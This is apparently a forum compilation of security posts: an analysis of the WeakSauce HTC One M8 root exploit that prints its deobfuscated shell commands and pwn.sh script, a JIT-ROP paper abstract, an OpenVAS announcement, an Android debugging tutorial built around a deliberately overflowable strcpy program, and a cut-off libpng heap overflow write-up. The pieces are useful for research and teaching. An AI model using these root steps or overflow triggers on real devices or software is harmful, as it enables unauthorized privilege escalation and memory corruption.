Analyzing the WeakSauce Exploit Jonathan Levin, Redirecting you to main page.. As part of the devices I researched for my upcoming book on Android Internals, I got myself an HTC One M8. A chief factor in my decision was knowing that it had a working 1-click root, since I didn't want to root it using a bootloader unlock (which would ruin the prospects of selling it on eBay once I'm done). The exploit for the One M8 is called WeakSauce, and has been published on XDA Developers by members jcase (who discovered the vulnerability) and beaups (who helped exploit it). It's packaged as a simple APK, which you can download and push to the device, but I couldn't find much documentation on how it works, though it had been classified as an HTC specific vulnerability, and not a generic one in KitKat. Since I have a chapter dealing with security, it made sense to try and figure out exactly what the exploit is doing. This article was created to detail the process, and is written as a tutorial. Going along, I hope to publish more of these articles as updates to the book, as I have with the OS X/iOS book. Step I: Examine the APK Getting the APK is a simple enough matter, as it is freely and readily downloadable. After getting it, we can unzip to examine its contents: morpheus@Ergo (~/tmp)$ unzip -l WeakSauce-1.0.1.apk Archive: ../../WeakSauce-1.0.1.apk Length Date Time Name -------- ---- ---- ---- 630 03-30-14 10:20 META-INF/MANIFEST.MF 751 03-30-14 10:20 META-INF/TIMEPINK.SF 912 03-30-14 10:20 META-INF/TIMEPINK.RSA 853044 03-30-14 10:19 assets/busybox 52428800 03-30-14 10:19 assets/xbin.img 3067 03-30-14 10:19 res/drawable/ic_launcher.png 652 03-30-14 10:20 res/layout/activity_main.xml 464 03-30-14 10:20 res/menu/main.xml 2840 03-30-14 10:20 AndroidManifest.xml 1852 03-30-14 10:19 resources.arsc 705756 03-30-14 10:19 classes.dex -------- ------- 53998768 11 files As the above shows, the APK has no JNI functionality (otherwise it would have a lib/ subfolder). The only "unusual" thing about it are the assets - the APK packages busybox (the all-in-one-binary, statically compiled) and an image of xbin (An ext4 loopback mount image). The manifest is also quite simple (I XMLized the relevant portions): morpheus@Ergo (~/tmp)$ aapt d xmltree WeakSauce-1.0.1.apk AndroidManifest.xml | xmlize <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.cunninglogic.weaksauce" android:versionCode="1" android:versionName="1.0.1"> ... <uses-permission android:name="android.permission.INTERNET"> <uses-permission android:name="android.permission.BLUETOOTH"> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"> <application ...> .. <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> </application> </manifest> The only thing that's intriguing is why WeakSauce needs BlueTooth permissions. This will be explained shortly. Step II: dexter The dexter is a simple DEX file parser and extractor I wrote as an appendix to Chapter 10 of the book, which deals with the internals of the Dalvik VM. The tool is an improvement on the well known dexdump utility, in that it is more Java-aware, and can also perform some decompilation. Using it to dump the classes revealed some 521 classes, of which the vast majority were Android support classes - so these could be outright ignored. morpheus@Ergo (~/tmp)$ dexter --classes classes.dex | grep -v " android" Class Defs: 521 bytes @0x17540 Class 343: Package: com.cunninglogic.weaksauce Class: D; (y) Class 344: Package: com.cunninglogic.weaksauce Class: G; (y) Class 345: Package: com.cunninglogic.weaksauce Class: H; (y) Class 346: Package: com.cunninglogic.weaksauce Class: J; (l) Class 347: Package: com.cunninglogic.weaksauce Class: K; (v) Class 348: Package: com.cunninglogic.weaksauce Class: M; (y) Class 349: Package: com.cunninglogic.weaksauce Class: MainActivity; (v) Class 350: Package: com.cunninglogic.weaksauce Class: OnBootReceiver; (w) Class 351: Package: com.cunninglogic.weaksauce Class: Weak; (f) Class 352: Package: com.cunninglogic.weaksauce Class: b; (y) Class 353: Package: com.cunninglogic.weaksauce Class: c; (v) Class 354: Package: com.cunninglogic.weaksauce Class: f; (y) Class 355: Package: com.cunninglogic.weaksauce Class: i; (y) Class 356: Package: com.cunninglogic.weaksauce Class: j; (y) Class 357: Package: com.cunninglogic.weaksauce Class: k; (y) Class 358: Package: com.htc.engine.system Class: SystemAccess ® morpheus@Ergo (~/tmp)$ dexter --extract com.cunninglogic.weaksauce classes.dex Extracting all classes belonging to com.cunninglogic.weaksauce Package... 15 Classes extracted. morpheus@Ergo (~/tmp)$ dexter --extract "com.htc*" classes.dex Extracting all classes matching "com.htc*" 1 Class extracted. Aside from the android support classes, which are nothing special), only has the com.cunninglogic.weaksauce package classes - obfuscated, as is readily seen from the class names - and the com.htc.engine.system.SystemAccess.class - which is a replacement class for the similarly named class on the phone. Step II': dex2jar Since imgtool is not out yet at the time I'm writing this (it will be released with the book), you can use the dex2jar tool to unpack the classes. This is a simple, yet powerful utility, which undoes the work performed by the SDK's dx. Whereas the latter takes the Java classes of the APK, in JAR form, and creates a classes.dex, the former converts the classes.dex back into a JAR file. The usage is straightforward. Unpacking, you should get a classes-dex2jar.jar file, which you can unzip. morpheus@Ergo (~/tmp)$ unzip -l classes-dex2jar.jar Archive: classes-dex2jar.jar Length Date Time Name -------- ---- ---- ---- 0 05-15-14 15:54 android/ 0 05-15-14 15:54 android/support/ 0 05-15-14 15:54 android/support/v4/ # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 0 05-15-14 15:54 com/ 0 05-15-14 15:54 com/cunninglogic/ 0 05-15-14 15:54 com/cunninglogic/weaksauce/ 236 05-15-14 15:54 com/cunninglogic/weaksauce/D.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/G.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/H.class 159 05-15-14 15:54 com/cunninglogic/weaksauce/J.class 755 05-15-14 15:54 com/cunninglogic/weaksauce/K.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/M.class 3203 05-15-14 15:54 com/cunninglogic/weaksauce/MainActivity.class 674 05-15-14 15:54 com/cunninglogic/weaksauce/OnBootReceiver.class 8512 05-15-14 15:54 com/cunninglogic/weaksauce/Weak.class 331 05-15-14 15:54 com/cunninglogic/weaksauce/b.class 653 05-15-14 15:54 com/cunninglogic/weaksauce/c.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/f.class 1194 05-15-14 15:54 com/cunninglogic/weaksauce/i.class 281 05-15-14 15:54 com/cunninglogic/weaksauce/j.class 306 05-15-14 15:54 com/cunninglogic/weaksauce/k.class 0 05-15-14 15:54 com/htc/ 0 05-15-14 15:54 com/htc/engine/ 0 05-15-14 15:54 com/htc/engine/system/ 1249 05-15-14 15:54 com/htc/engine/system/SystemAccess.class # .. miscellaneous android/support/v4 classes that are totally irrelevant ... 540 05-15-14 15:55 android/support/v4/view/ViewCompat$KitKatViewCompatImpl.class -------- ------- 849028 550 files Step III: Deobfuscation The classes extracted from the APK are obfuscated, but it's a simple enough matter to deobfuscate them. Looking at the SystemAccess as an example, we see: System.load(i.m("JR\033C\007]\026TTo'\003\003O\007E\017\035\000A\b`2[\024U\026U\000UKU\n")); Which implies the strings (in this case, presumably the name of a native library) are also obfuscated. The implementation of i.m shows: package com.cunninglogic.weaksauce; public final class i { public static String m(String paramString) { StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1]; String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName(); .. The i.m method relies on its caller - obtained through the stack trace - as a key to the obfuscation. With that in mind, it's simple to create an m2, which also gets the class and method names as arguments. That is: public static String m2(String paramString, String MethodName, String ClassName) { StackTraceElement localStackTraceElement = new java.lang.Exception().getStackTrace()[1]; String str = localStackTraceElement.getMethodName() + localStackTraceElement.getClassName(); // Override: str = MethodName + ClassName; // and we can now call this function instead of the old m, // e.g. SystemAccess.m2("\000ZP\\\026\001v2KFC\004TXOD", // "com.cunninglogic.weaksauce.Weak", // "m"); So, after a little bit of search and replace we can reveal that the above string is really: "system/lib/libdm-systemaccess.so". It turns out there is a similarly named m method in SystemClass.java, used extensively by the Weak class (which performs the bulk of the work). This method obfuscates by taking using the classname, and then the method name (that is, in reverse). Deobfuscating all of the strings used in Weak class yields: data/data/com.cunninglogic.weaksauce/temp/xbin.img system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/pwn.sh /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/busybox system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/one /system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp/one ... /system/bin/sync echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper /system/bin/sync /system/bin/chmod 770 /data/data/com.cunninglogic.weaksauce/temp /system/bin/sync /data/data/com.cunninglogic.weaksauce/temp /system/bin/echo 1 > /data/data/com.cunninglogic.weaksauce/temp/onboot data/data/com.cunninglogic.weaksauce/temp/pwn.sh So - what do we have? A lot of shell commands. Root access is somehow obtained, then these commands are run. Of particular interest is data/data/com.cunninglogic.weaksauce/temp/pwn.sh, which looks like the "pwn script". Note (in the above echo command) it gets written to /sys/kernel/uevent_helper, which is expected to contain the name of a binary launched by the kernel on device addition. This file is writable only by root, however, so the exploit must be doing something before writing to it. Indeed, looking at the device post-exploitation, we see: root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # ls -l /sys/kernel/ .. -rwxrwx--- u0_a235 u0_a235 4096 2014-05-16 14:21 uevent_helper -r--r--r-- root root 4096 2014-05-16 14:30 uevent_seqnum .. Showing that /sys/kernel/uevent_helper has been chown'ed to be WeakSauce's. Since the root exploit works and we have access to all the directories, we can just navigate to WeakSauce's directory, and see: root@htc_m8wl:/data/data/com.cunninglogic.weaksauce/temp # cat pwn.sh #!/system/bin/sh echo 1 > /sys/kernel/uevent_helper /system/bin/cat /system/xbin/dexdump > /data/data/com.cunninglogic.weaksauce/temp/dexdump /system/bin/cat /system/xbin/nc > /data/data/com.cunninglogic.weaksauce/temp/nc /system/bin/cat /system/xbin/dexus > /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 744 /data/data/com.cunninglogic.weaksauce/temp//nc /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexus /system/bin/chmod 755 /data/data/com.cunninglogic.weaksauce/temp/dexdump /data/data/com.cunninglogic.weaksauce/temp/busybox mount /data/data/com.cunninglogic.weaksauce/temp/xbin.img /system/xbin /system/bin/sync /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/nc > /system/xbin/nc /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexus > /system/xbin/dexus /system/bin/cat /data/data/com.cunninglogic.weaksauce/temp/dexdump > /system/xbin/dexdump /system/bin/chmod 744 /system/xbin/nc /system/bin/chmod 755 /system/xbin/dexus /system/bin/chmod 755 /system/xbin/dexdump /system/bin/chown 0.2000 /system/xbin/nc /system/bin/chown 0.2000 /system/xbin/dexus /system/bin/chown 0.2000 /system/xbin/dexdump /system/xbin/daemonsu --auto-daemon & So all that would be needed is to get the kernel to detect a new device. This is why Weaksauce required bluetooth permissions - looking at the Weak class we see: SystemAccess.m().CopyFileCtl( SystemAccess.m("\002DGWD\004IDWN\006\001\013V\023JZCENOXUBLP\\\001^LN\t\027zhJJ\002_BLQ\b"), SystemAccess.m("NOB"), SystemAccess.m("M\027bn\006DHYIDM\b"), SystemAccess.m("Z\007\022~s]pENKQDU")); // /system/bin/sync m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD")); //m ("echo '/data/data/com.cunninglogic.weaksauce/temp/pwn.sh' > /sys/kernel/uevent_helper"); m(SystemAccess.m("HHQP\017\016\006K\003\020z2MNYJ\bBNJ\001JVKON\f\003CF^VA\nUADHQE^......")); // /system/bin/sync m(SystemAccess.m("\000ZP\\\026\001v2KFC\004TXOD")); // ... localBluetoothAdapter = BluetoothAdapter.getDefaultAdapter(); bool1 = localBluetoothAdapter.isEnabled(); if (!bool1) { localBluetoothAdapter.enable(); } The call to CopyFileCtl is the important one here - this was defined as a native method of the replaced com.htc.engine.system.SystemAccess class. As it so happens, this does, in fact, turn out to be a JNI library, with the corresponding method defines as: [morpheus@Forge ~]$ /usr/local/android-ndk-r8e/toolchains/arm-linux-androideabi-4.7/prebuilt/\ linux-x86_64/bin/arm-linux-androideabi-objdump -d libdm-systemaccess.so ... 00001d60 <Java_com_htc_engine_system_SystemAccess_CopyFileCtl>: .. The fault lies in this function, which calls HTC's dmagent (thorugh the /dev/socket/dmsocket socket). The daemon (running as root, naturally) performs the copying, but along the way the file permissions get incorrectly chmod'ed. Game over. Summary This article detailed how WeakSauce works. To recap: WeakSauce creates a replacement class for HTC's SystemAccess. Using JNI, it triggers a file copy operation, passing /sys/kernel as one of its arguments The dmagent daemon happily complies, and chowns the permissions on /sys/kernel/uevent_helper WeakSauce readily exploits this by writing its pwn.sh as the uevent handler WeakSauce disables/enables BlueTooth, which makes the kernel trigger the uevent_helper - that is, pwn.sh From this point on, it's all downhill - DaemonSu is installed, which is required in KitKat since a simple setuid /system/xbin/su wouldn't work - The SELinux context would confine even a root owned process to be u:r:shell:s0 (This is explained in Chapter 21, which deals with security). This way, when you type "su", you're actually going to a daemonsu, which runs as u:r:kernel:s0, and spawns you an unrestricted tmp-mksh. You can see that with ps -Z: # # Show all processes, filter out kernel threads, but still show u:r:kernel:s0 context: # root@htc_m8wl:/# ps -Z | grep -v " 2 " | grep kernel u:r:kernel:s0 root 3113 1 daemonsu:mount:master u:r:kernel:s0 root 3114 3113 daemonsu:master u:r:kernel:s0 root 5449 3114 daemonsu:10236 u:r:kernel:s0 root 6559 3114 daemonsu:0 u:r:kernel:s0 root 6567 6559 daemonsu:0:6556 u:r:kernel:s0 root 6569 6567 daemonsu u:r:kernel:s0 root 6572 6567 tmp-mksh u:r:kernel:s0 root 7521 6572 ps u:r:kernel:s0 root 7522 6572 grep u:r:kernel:s0 root 7523 6572 grep # # Note the adb spawned shell is the parent of su, which is why they're both still # u:r:shell:s0.. root@htc_m8wl:/# ps -Z | grep 6530 u:r:shell:s0 shell 6530 3618 /system/bin/sh u:r:shell:s0 shell 6556 6530 su .. And that's all. If you haven't yet checked out the book, please do so now, and feel free to drop me a line at j@ (this domain) for any questions, comments, or requests. Greets jcase and beaups - Great work, you guys. HTC owes you another customer (for now, at least) Sursa: http://www.newandroidbook.com/Articles/HTC.html

Michalis Athanasakis FORTH, Greece michath@ics.forth.gr Elias Athanasopoulos FORTH, Greece elathan@ics.forth.gr Michalis Polychronakis Stony Brook University mikepo@cs.stonybrook.edu Georgios Portokalidis Stevens Institute of Tech. gportoka@stevens.edu Sotiris Ioannidis FORTH, Greece sotiris@ics.forth.gr Abstract—Return-oriented programming (ROP) has become the dominant form of vulnerability exploitation in both user and kernel space. Many defenses against ROP exploits exist, which can significantly raise the bar against attackers. Although protecting existing code, such as applications and the kernel, might be possible, taking countermeasures against dynamic code, i.e., code that is generated only at run-time, is much harder. Attackers have already started exploiting Just-in-Time (JIT) engines, available in all modern browsers, to introduce their (shell)code (either native code or re-usable gadgets) during JIT compilation, and then taking advantage of it. Recognizing this immediate threat, browser vendors started employing defenses for hardening their JIT engines. In this paper, we show that—no matter the employed defenses—JIT engines are still exploitable using solely dynamically generated gadgets. We demonstrate that dynamic ROP payload construction is possible in two modern web browsers without using any of the available gadgets contained in the browser binary or linked libraries. First, we exploit an open source JIT engine (Mozilla Firefox) by feeding it malicious JavaScript, which once processed generates all required gadgets for running any shellcode successfully. Second, we exploit a proprietary JIT engine, the one in the 64-bit Microsoft Internet Explorer, which employs many undocumented, specially crafted defenses against JIT exploitation. We manage to bypass all of them and create the required gadgets for running any shellcode successfully. All defensive techniques are documented in this paper to assist other researchers. Furthermore, besides showing how to construct ROP gadgets on-the-fly, we also show how to discover them on-the-fly, rendering current randomization schemes ineffective. Finally, we perform an analysis of the most important defense currently employed, namely constant blinding, which shields all three-byte or larger immediate values in the JIT buffer for hindering the construction of ROP gadgets. Our analysis suggests that extending constant blinding to all immediate values (i.e., shielding 1-byte and 2-byte constants) dramatically decreases the JIT engine’s performance, introducing up to 80% additional instructions. Download: http://users.ics.forth.gr/~elathan/papers/ndss15.pdf

The Open Vulnerability Assessment System (OpenVAS) is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution. The actual security scanner is accompanied with a daily updated feed of Network Vulnerability Tests (NVTs), over 35,000 in total (as of April 2014). The OpenVAS Manager is the central service that consolidates plain vulnerability scanning into a full vulnerability management solution. The Manager controls the Scanner via OTP (OpenVAS Transfer Protocol) and itself offers the XML-based, stateless OpenVAS Management Protocol (OMP). All intelligence is implemented in the Manager so that it is possible to implement various lean clients that will behave consistently e.g. with regard to filtering or sorting scan results. The Manager also controls a SQL database (sqlite-based) where all configuration and scan result data is centrally stored. Finally, Manager also handles user management includiung access control with groups and roles. We haven’t written about OpenVAS for 6 years, when it first forked off from Nessus back in 2008. It sure has come a long way since then, especially with the fully stocked NVT feed – it’s become a pretty powerful tool with a well thought out architecture. Still today it’s pretty much the only fully fledged Open Source vulnerability scanner out there. Features OpenVAS Scanner Many target hosts are scanned concurrently OpenVAS Transfer Protocol (OTP) SSL support for OTP (always) WMI support (optional) [*]OpenVAS Manager OpenVAS Management Protocol (OMP) SQL Database (sqlite) for configurations and scan results SSL support for OMP (always) Many concurrent scans tasks (many OpenVAS Scanners) Notes management for scan results False Positive management for scan results Scheduled scans Flexible escalators upon status of a scan task Stop, Pause and Resume of scan tasks Master-Slave Mode to control many instances from a central one Reports Format Plugin Framework with various plugins for: XML, HTML, LateX, etc. User Management Feed status view Feed synchronisation [*]Greenbone Security Assistant (GSA) Client for OMP and OAP HTTP and HTTPS Web server on its own (microhttpd), thus no extra web server required Integrated online-help system Multi-language support [*]OpenVAS CLI Client for OMP Runs on Windows, Linux, etc. Plugin for Nagios The powerful and comprehensive OpenVAS solution is available as Free Software and maintained on a daily basis. This is because of dedicated contributors and sponsors. A major source of sustainability of OpenVAS comes from the strong commitment of companies that use OpenVAS as a cornerstone of their business: You can download OpenVAS 7 Virtual Appliance here: OpenVAS-7-DEMO-2.2.ova Or read more here. Sursa: OpenVAS 7 Released - Open Source Vulnerability Scanner - Darknet - The Darkside

UaF: Mitigation and Bypass Jared DeMott, Security Researcher Bromium Labs Motivation • Interest in the state of memory corruption exploits • Past work includes bypassing EMET • Wanted to examine ? Internet Explorers new Use-after-Free (UaF) protections ? Learn how effective they are ? How do these protections compare to EMET? • They don’t ? We’ll see a chart that shows the relative position of different protections Download: https://bromiumlabs.files.wordpress.com/2015/01/demott_uaf_migitation_and_bypass.pdf

A Guide to Debugging Android Binaries In this paper, I’ll describe how to start reverse code engineering in Android devices. In this tutorial, you’ll learn: Installation & configuration of Android Virtual Device. How to build your debugging environment. Short ARM assembly description. Debugging with GDB inside your Android device. Remote Debugging using gdbserver. Remote debugging using IDA. 1. Installation & configuration of Android Virtual Device The first thing to do is to download Android SDK and NDK. We will use GDB, other binutils, and also GCC and LD cross compiling chains. The cross compilers are able to compile binaries for other architectures. In our case, we want to compile ARM binaries from x64 architecture, since we are working on Linux x86_64, and we want to compile binaries for ARM android, so we have to use them. If you are curious about how to build these cross compiling chain tools,here are the commands: # wget -c ftp://ftp.gnu.org/gnu/binutils/binutils-2.11.2.tar.gz # tar xvf binutils-2.11.2.tar.gz # cd binutils-2.11.2 # ./configure –target=arm-linux In our case, we don’t need to do this, as NDK contains all the things we need. Let’s go back and download Android SDK and Android NDK from here: # https://developer.android.com/tools/sdk/ndk/index.html # https://developer.android.com/sdk/index.html or we can download the pre-compiled arm-linux-gnueab- toolchain . tarball these file in /opt/ and then add its path in $PATH variable environment. After that we have to install and configure an Android Virtual Device (AVD).This is where our binaries will run. Type : # android avd Click to New : Click OK, then start your Virtual Device. However, we don’t need its grapical user interface, we will connect to it using shell. AVD gives as a rooted device, so we can do everything, which will be great when we debug Linux internals and keep tracking syscalls. Once you click on the start button, your Virtual Device appears like this: In my case, I used Android 4.2 as a target and Nexus 7 as device,though there is nothing wrong with using other targets or devices. Let’s run our device shell: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]$ adb shell # id uid=0(root) gid=0(root) [/TD] [/TR] [/TABLE] 2.How to build your debugging environment Nothing’s new here, just mentionning that we will show three ways to debug an Android binary. The first one is to put GDB inside the device and start debugging as you are on a Linux box, thus we can keep track of several things like symbols, GOT, linked libraries, etc. The second one is by using gdbserver and opening a port in the device and forwarding it to an external port to gain access into the device using a GDB client. The third is debugging with IDA Pro. Debugging Android binaries without understanding ARM Assembly is worthless. We will show in the next chapter some basic stuff in ARM Assembly. 3.Short ARM description Personally, I like ARM assembly because it’s very easy to learn and dive into its programming. We will show some basic instructions and conventions: 3.1.Registers ARM Assembly has 16 registers. Some of them are for function arguments, others for local variables, program counter, stack pointer, and other registers. R0 to R3 : for function arguments. Alternative names are a0-a3. R4 to R9 : for local variables. R7 : almost holds the syscall number. R10 (sl) : Stack Limit. R11 (fp) : Fame Pointer. R12 (ip) : Intra Procedure. R13 (sp) : used as Stack Pointer like RSP in x86_64. R14 (lr) : Link Register. R15 (pc) : Program Counter (like RIP in x86_64 & EIP in x86). 3.2.Branching Branching instructions are used when the program needs some loops, procedures and functions. The behaviour of the calling function in ARM is different from x86 assembly . Here are the basic branching instructions: B Branch BL Branch with Link BX Branch with Exchange BLX Branch with Link and Exchange The B (Branch) doesn’t affect LR. That means if we jump to a subroutine we don’t have any traceback for where we were. It’s like JMP instruction in x86 assembly. The BL (Branch with Link) instruction makes a subroutine call by storing PC-4 in LR of the current place, and to return from subroutine, we simply need to restore PC from LR like: mov pc,lr. BX and BLX instructions are used in THUMB MODE which we don’t dive into in this part. 3.3.Data Processing As we know, ARM is a LOAD/STORE architecture it contains 4 main instructions classes: - Arithmetic operations: ADD op1+op2 ADC op1+op2+carry SUB op1-op2+carry-1 syntax : <operation> {<cond>}{S} Rd,Rn,operand examples : ADD r0,r1,r2 SUB R1,R2,#1 - Comparison: CMP op1-op2 TST op1 & op2 TEQ op1 ^ op2 By the way, the results of these operations are not written. Syntax : <operation> {<cond>} Rn,Op examples : CMP R0,R1 CMP R0,#2 - Logical operations: AND op1,op2 EOR op1,op2 ORR op1,op2 - Data movement between registers: MOV op1,op2 syntax : <Operation>{<cond>}{S} Rn, Op2 Examples: MOV r0, r1 We have shown some basic ARM instructions and as we said, it is easy to learn by practicing with some small examples. 4.Debugging with GDB inside your Android device You should download GDB ARM version statically linked. After we have GDB for arm targets, we have to push it on the Android device. # adb push ~/Bureau/arm-gdb /data So we make a small ARM binary as an example inside the device and we’ll keep track of its behaviour: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13[/TD] [TD=class: code]#include <stdio.h> #include <string.h> int main(int argc,char **argv) { char buf[16]; if(argc < 2) return -1; strcpy(buf,argv[1]); printf("Hello : %s n",buf); return 0; } [/TD] [/TR] [/TABLE] Let’s compile it: # arm-linux-gnueabi-gcc -o s s.c -static -zexecstack -fno-stack-protector # adb shell root@generic:/ # /data/gdb -q /data/s WARNING: generic atexit() called from legacy shared library Reading symbols from /data/s…(no debugging symbols found)…done. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34[/TD] [TD=class: code](gdb) disas main Dump of assembler code for function main: 0x00008c24 <+0>: push {r7, lr} 0x00008c26 <+2>: sub sp, #24 0x00008c28 <+4>: add r7, sp, #0 0x00008c2a <+6>: str r0, [r7, #4] 0x00008c2c <+8>: str r1, [r7, #0] 0x00008c2e <+10>: ldr r3, [r7, #4] 0x00008c30 <+12>: cmp r3, #1 0x00008c32 <+14>: bgt.n 0x8c3a <main+22> 0x00008c34 <+16>: mov.w r3, #4294967295 0x00008c38 <+20>: b.n 0x8c5e <main+58> 0x00008c3a <+22>: ldr r3, [r7, #0] 0x00008c3c <+24>: add.w r3, r3, #4 0x00008c40 <+28>: ldr r3, [r3, #0] 0x00008c42 <+30>: add.w r2, r7, #8 0x00008c46 <+34>: mov r0, r2 0x00008c48 <+36>: mov r1, r3 0x00008c4a <+38>: blx 0x12e00 <strcpy> 0x00008c4e <+42>: movw r0, #51124 ; 0xc7b4 0x00008c52 <+46>: movt r0, #6 0x00008c56 <+50>: blx 0x99a8 <puts> 0x00008c5a <+54>: mov.w r3, #0 0x00008c5e <+58>: mov r0, r3 0x00008c60 <+60>: add.w r7, r7, #24 0x00008c64 <+64>: mov sp, r7 0x00008c66 <+66>: pop {r7, pc} End of assembler dump. (gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Starting program: /data/s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. 0x61616160 in ?? () [/TD] [/TR] [/TABLE] 5.Remote debugging using gdbserver This is another cool way to debug outside your device , so we copy gdbserver into /data directory or whatever you want. In the latest Android version, gdbserver has been included by default. Next, you choose between either attaching to a running process or executing a new process. The first thing we should do is port forwarding: [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]adb forward tcp:<PC port> tcp:<device port>. [/TD] [/TR] [/TABLE] Example: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]# adb forward tcp:1234 tcp:1234 # adb shell [/TD] [/TR] [/TABLE] We choose any running process: [TABLE] [TR] [TD=class: gutter]1 2 3 4[/TD] [TD=class: code]root@generic:/ # gdbserver :1234 --attach 1436 Attached; pid = 1436 Listening on port 1234 Remote debugging from host 127.0.0.1 [/TD] [/TR] [/TABLE] In our box we use: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30[/TD] [TD=class: code]# cd /android-ndk-r9/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin # ./arm-linux-androideabi-gdb GNU gdb (GDB) 7.3.1-gg2 Copyright © 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "--host=x86_64-linux-gnu --target=arm-linux-android". For bug reporting instructions, please see: <http://source.android.com/source/report-bugs.html>. (gdb) target remote :1234 Remote debugging using :1234 Remote communication error. Target disconnected.: Connection reset by peer. (gdb) (gdb) target remote :1234 Remote debugging using :1234 0xb6eb1f9c in ?? () (gdb) x/10i $pc Cannot access memory at address 0x5b6 => 0xb6eb1f9c: svc 0x00000000 0xb6eb1fa0: mov r7, r12 0xb6eb1fa4: cmn r0, #4096 ; 0x1000 0xb6eb1fa8: bxls lr 0xb6eb1fac: rsb r0, r0, #0 0xb6eb1fb0: b 0xb6ecdb28 0xb6eb1fb4: mov r12, r7 0xb6eb1fb8: mov r7, #174 ; 0xae 0xb6eb1fbc: svc 0x00000000 0xb6eb1fc0: mov r7, r12 (gdb) [/TD] [/TR] [/TABLE] 6. Remote debugging using IDA Pro: This is like gdbserver, but we should push android_server in the device machine. [TABLE] [TR] [TD=class: gutter]1[/TD] [TD=class: code]# adb push android_server /data [/TD] [/TR] [/TABLE] In IDA go to Debbugger ? Remote ARMLinux / Android server debugger, and set the host and the port with the path of the application. That’s all, we have described all the techniques. Moreover, I made this tutorial practical and as a reference for those of you who are interested. By Mohamed Ghannam|March 10th, 2014 Sursa: http://resources.infosecinstitute.com/guide-debugging-android-binaries/

Python videos. Multe. Link: http://pymust.watch/

Asta e ceva de bine. O sa dureze ceva sa va obisnuiti cu el, dar dupa un timp o sa vi se para ok.

libpng 1.6.15 heap overflow /********************************* * Alex Eubanks * * endeavor@rainbowsandpwnies.com * * libpng 1.6.15 heap overflow * * 18 December 2014 * *********************************/ /************* * A foreword * *************/ // this bug was found with american fuzzy lop! thanks lcamtuf! /* * We will trigger a call to zlib which will decompress data from an IDAT chunk * into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend * on the amount of data we decompress into it. * * In some cases, like my case (programs are wonderful creations), this may * allow for a controlled write. * * My environment is * user@debian:~$ uname -a * Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux * * Example code to trigger this overflow is available at the end of this post. * Simply set OVERFLOW_DATA to what you want to overflow the heap with. */ Program received signal SIGSEGV, Segmentation fault. 0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6 (gdb) x/i $pc => 0xb7eb4f71: movdqu %xmm0,(%esi) (gdb) i r esi esi 0x41414141 1094795585 (gdb) i r xmm0 xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16 times>}, v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141, 0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141}, uint128 = 0x41414141414141414141414141414141} /*************** * The overflow * ***************/ # pngrutil.c :: png_read_IDAT_data :: line 4018 /* * At the time of this call, * png_ptr->zstream->avail_out = 0x20000000 * png_ptr->zstream->avail_in = size of our compressed IDAT data * png_ptr->zstream->next_in = our compressed IDAT data * png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf */ ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /******* * IHDR * *******/ [0-3] = png_ptr->width // 0x20000000 [4-7] = png_ptr->height // 0x00000020 [8] = png_ptr->bit_depth // 0x10 [9] = png_ptr->color_type // 0x06 [10] = png_ptr->compression_type // 0x00 [11] = png_ptr->filter_type // 0x00 [12] = png_ptr->interlace_type // 0x01 /********************* * png_read_IDAT_data * *********************/ # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) / * png_bytep output * \-> a buffer to decompress the IDAT data into * png_alloc_size_t 